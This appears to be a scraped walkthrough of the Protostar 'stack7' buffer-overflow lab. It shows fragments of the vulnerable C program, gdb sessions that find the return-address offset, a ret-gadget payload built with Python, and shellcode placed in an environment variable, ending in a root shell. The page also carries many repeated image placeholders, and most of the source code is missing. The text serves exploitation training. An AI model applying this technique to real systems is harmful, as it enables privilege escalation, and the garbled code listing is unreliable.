About
Source code
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
char *getpath()
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
printf("input path please: "); fflush(stdout);
![](p_w_picpaths/editer/InBlock.gif)
gets(buffer);
![](p_w_picpaths/editer/InBlock.gif)
ret = __builtin_return_address(0);
![](p_w_picpaths/editer/InBlock.gif)
if((ret & 0xb0000000) == 0xb0000000) {
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
printf("got path %s\n", buffer);
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
int main(int argc, char **argv)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
![](p_w_picpaths/editer/InBlock.gif)
}
[stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r < /tmp/stack7
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
Program received signal SIGSEGV, Segmentation fault.
0x63636363 in ?? ()
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r < /tmp/stack7
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa 1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
Program received signal SIGSEGV, Segmentation fault.
0x32313039 in ?? ()
(gdb) q
A debugging session is active.
Inferior 1 [process 10958] will be killed.
Quit anyway? (y or n) y
user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\x92\x84\x04\x08" + "1"*10+"2"*10+"3"*10+"4"*10+"5"*10+"6"*10+"7"*10+"8"*10+"9"*10+"0"*10' > /tmp/stack7
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r < /tmp/stack7
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa 1111111111222222222233333333334444444444555555555566666666667777777777888888888899999999990000000000
Program received signal SIGSEGV, Segmentation fault.
0x32323131 in ?? ()
(gdb)
user@protostar:/opt/protostar/bin$ ~/getenvaddr SHELLCODE ./stack7
SHELLCODE will be at 0xbffff981
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa bbbbbbbb侚
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# whoami
root
#